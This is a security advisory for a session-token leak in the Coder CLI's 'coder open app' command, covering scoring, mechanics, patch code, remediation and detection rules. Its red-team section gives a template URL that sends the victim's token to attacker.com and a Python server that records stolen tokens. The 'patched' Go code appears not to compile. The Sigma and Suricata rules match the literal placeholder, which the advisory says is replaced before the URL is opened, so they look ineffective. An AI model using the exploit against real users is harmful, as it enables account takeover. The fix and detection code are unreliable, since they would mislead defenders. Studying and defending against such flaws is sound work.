CVE-2026-55431

Executive Summary

CVE-2026-55431 is a high-severity vulnerability in Coder, a platform for provisioning remote development environments via Terraform. The flaw resides in the coder open app CLI command, which opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the $SESSION_TOKEN placeholder, the CLI replaces it with the user's real session token before handing the URL to the OS open handler. This allows a malicious template author to craft an external app URL that, when opened by a victim, leaks the victim's session token to an attacker-controlled server. Practical exploitation requires the victim to run coder open app against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs. The vulnerability is patched in versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2.

Supply Chain & Package Security

Coder is a Go-based application distributed as a binary or container image. The vulnerability is in the CLI component, which is part of the Coder server distribution. Users should verify the integrity of their Coder binaries using checksums provided by the vendor. The fix involves adding a URL-scheme allowlist and restricting $SESSION_TOKEN substitution to trusted destinations.

CVSS Breakdown & Threat Level

• CVSS Score: 7.7 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (attacker must be a template author)
• User Interaction: Required (victim must run coder open app)
• Scope: Unchanged
• Confidentiality Impact: High (session token leakage)
• Integrity Impact: High (attacker can impersonate victim)
• Availability Impact: None

Deep Dive & Mechanics

The vulnerability is in the coder open app CLI command. When a user runs this command against a workspace, the CLI retrieves the external app URL from the workspace definition. If the URL contains the $SESSION_TOKEN placeholder, the CLI replaces it with the user's actual session token. The resulting URL is then passed to the OS open handler (e.g., xdg-open on Linux, open on macOS) without any validation of the URL scheme or host.

An attacker who controls the workspace template can define an external app URL that points to an attacker-controlled server, e.g., http://attacker.com/steal?token=$SESSION_TOKEN. When the victim runs coder open app, the CLI substitutes the token and opens the URL in the victim's browser, sending the token to the attacker.

The fix in patched versions adds a URL-scheme allowlist (e.g., only allowing https:// and http:// to trusted domains) and limits $SESSION_TOKEN substitution to trusted destinations like the Coder web frontend.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

func openApp(url string) {
    url = strings.ReplaceAll(url, "$SESSION_TOKEN", sessionToken)
    exec.Command("xdg-open", url).Run()
}

Patched Code (simplified):

func openApp(url string) {
    parsedURL, err := url.Parse(url)
    if err != nil || !isAllowedScheme(parsedURL.Scheme) {
        log.Fatal("Invalid URL scheme")
    }
    if strings.Contains(url, "$SESSION_TOKEN") && !isTrustedHost(parsedURL.Host) {
        log.Fatal("Token substitution not allowed for untrusted hosts")
    }
    url = strings.ReplaceAll(url, "$SESSION_TOKEN", sessionToken)
    exec.Command("xdg-open", url).Run()
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Attacker must be a template author in the Coder organization.
• Victim must run coder open app against a workspace using the malicious template.

Steps:

1. Create a malicious Coder template with an external app URL pointing to an attacker-controlled server:

   resource "coder_app" "malicious" {
     agent_id = coder_agent.main.id
     url      = "http://attacker.com/steal?token=$SESSION_TOKEN"
   }
   

2. Deploy the template and create a workspace.
3. Convince a victim to run coder open app against the workspace (e.g., via social engineering).
4. The victim's session token is sent to the attacker's server.

Exploit Code:

# attacker_server.py
from http.server import HTTPServer, BaseHTTPRequestHandler
import sys

class TokenStealer(BaseHTTPRequestHandler):
    def do_GET(self):
        if 'token=' in self.path:
            token = self.path.split('token=')[1]
            print(f"Stolen token: {token}")
            with open('stolen_tokens.txt', 'a') as f:
                f.write(token + '\n')
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'OK')

if __name__ == '__main__':
    server = HTTPServer(('0.0.0.0', 80), TokenStealer)
    print('Listening on port 80...')
    server.serve_forever()

Blue Team

Detection:

• Monitor for unusual external app URLs in Coder templates.
• Audit template changes for unauthorized modifications.
• Monitor network traffic for connections to unknown external hosts from Coder CLI processes.

Prevention:

• Apply the patch immediately.
• Restrict template author privileges to trusted users only.
• Educate users not to run coder open app on untrusted workspaces.

Indicators of Compromise (IOCs)

• Network: Outbound connections from Coder CLI to unknown external hosts containing $SESSION_TOKEN in the URL.
• Logs: Coder audit logs showing template modifications with suspicious external app URLs.
• File: stolen_tokens.txt on attacker-controlled servers.

Detection Engineering

YARA Rule

rule CVE_2026_55431_Coder_Token_Leak {
    meta:
        description = "Detects Coder CLI commands with $SESSION_TOKEN in external URLs"
        author = "Valters IT"
        date = "2026-01-01"
        severity = "high"
    strings:
        $token_placeholder = "$SESSION_TOKEN"
        $coder_open = "coder open app"
    condition:
        $coder_open and $token_placeholder
}

Sigma Rule

title: Coder CLI Session Token Leak via External App URL
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects execution of coder open app with $SESSION_TOKEN in URL
author: Valters IT
date: 2026-01-01
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\coder.exe'
        CommandLine|contains: 'open app'
        CommandLine|contains: '$SESSION_TOKEN'
    condition: selection
falsepositives:
    - Legitimate use with trusted URLs (patched versions)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-55431 Coder Session Token Leak";
    flow:to_server,established;
    content:"$SESSION_TOKEN"; http_uri;
    classtype:attempted-user;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Patch: Upgrade Coder to versions 2.29.7, 2.32.7, 2.33.8, or 2.34.2.
2. Workaround: Avoid running coder open app for untrusted workspaces.
3. Access Control: Restrict template author privileges to trusted users.
4. Monitoring: Enable audit logging for template changes and monitor for suspicious external app URLs.
5. User Education: Train users to verify workspace templates before running coder open app.

Valters IT
DevSecOps & Cyber Threat Intelligence